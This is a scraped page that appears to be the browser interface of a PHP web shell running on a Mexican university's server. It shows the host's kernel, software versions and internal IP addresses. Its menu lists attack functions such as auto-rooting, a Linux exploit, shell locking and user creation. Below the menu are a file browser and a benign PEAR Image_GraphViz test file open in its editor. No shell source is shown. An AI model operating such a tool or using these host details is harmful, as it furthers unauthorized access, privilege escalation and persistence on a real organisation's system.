Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
test /
Image_GraphViz /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
bug_15019.phpt
723
B
-rw-r--r--
bug_15943.phpt
1.51
KB
-rw-r--r--
bug_16872.phpt
2.03
KB
-rw-r--r--
req_12913.phpt
798
B
-rw-r--r--
test12.phpt
2.99
KB
-rw-r--r--
test14.phpt
1.31
KB
-rw-r--r--
test16.phpt
2.91
KB
-rw-r--r--
test17.phpt
2.07
KB
-rw-r--r--
test19.phpt
5.87
KB
-rw-r--r--
test1.phpt
1.29
KB
-rw-r--r--
test20b.phpt
1.67
KB
-rw-r--r--
test20.phpt
1.67
KB
-rw-r--r--
test2.phpt
2.33
KB
-rw-r--r--
test3.phpt
1.83
KB
-rw-r--r--
test4.phpt
3.1
KB
-rw-r--r--
test5.phpt
1.36
KB
-rw-r--r--
test6.phpt
737
B
-rw-r--r--
test9.phpt
11.61
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : bug_16872.phpt
--TEST-- Bug #16872: Cluster IDs start with "cluster" --FILE-- <?php /** * Bug 16872: "Cluster IDs start with 'cluster'" * * Cluster ID must start with "cluster" to have a box around it * * @category Image * @package Image_GraphViz * @author Philippe Jausions <jausions@php.net> * @link http://pear.php.net/bugs/bug.php?id=16872 */ require_once 'Image/GraphViz.php'; $graph = new Image_GraphViz(true, array('rankdir' => 'LR', 'ranksep' => .75), 'sp_d_rcp_001', false); $graph->addCluster('pck_courbe_rcp', 'pck_courbe_rcp', array('color' => 'green')); $graph->addNode('sp_d_rcp_001', array('shape' => 'component'), 'pck_courbe_rcp'); $result = array( array('tab' => 'courbe_rcp', 'action' => 'S'), array('tab' => 'courbe_rcp', 'action' => 'D'), array('tab' => 'detail_rcp', 'action' => 'S'), array('tab' => 'detail_rcp', 'action' => 'D'), ); $lst_tab = array(); foreach ($result as $row) { $table = $row['tab']; $action = $row['action']; if (array_key_exists($table, $lst_tab) == false){ $graph->addNode($table, array('shape' => 'box')); $lst_tab[] = $table; } $color = ($action == 'D') ? 'red' : 'blue'; $graph->addEdge(array('sp_d_rcp_001' => $table), array('color' => $color, 'label' => $action, 'id' => $action.$table)); } echo $graph->parse(); ?> --EXPECT-- digraph sp_d_rcp_001 { rankdir=LR; ranksep=0.75; courbe_rcp [ shape=box ]; detail_rcp [ shape=box ]; subgraph cluster_pck_courbe_rcp { graph [ color=green,label=pck_courbe_rcp ]; sp_d_rcp_001 [ shape=component ]; } sp_d_rcp_001 -> courbe_rcp [ color=blue,label=S,id=Scourbe_rcp ]; sp_d_rcp_001 -> courbe_rcp [ color=red,label=D,id=Dcourbe_rcp ]; sp_d_rcp_001 -> detail_rcp [ color=blue,label=S,id=Sdetail_rcp ]; sp_d_rcp_001 -> detail_rcp [ color=red,label=D,id=Ddetail_rcp ]; }
Close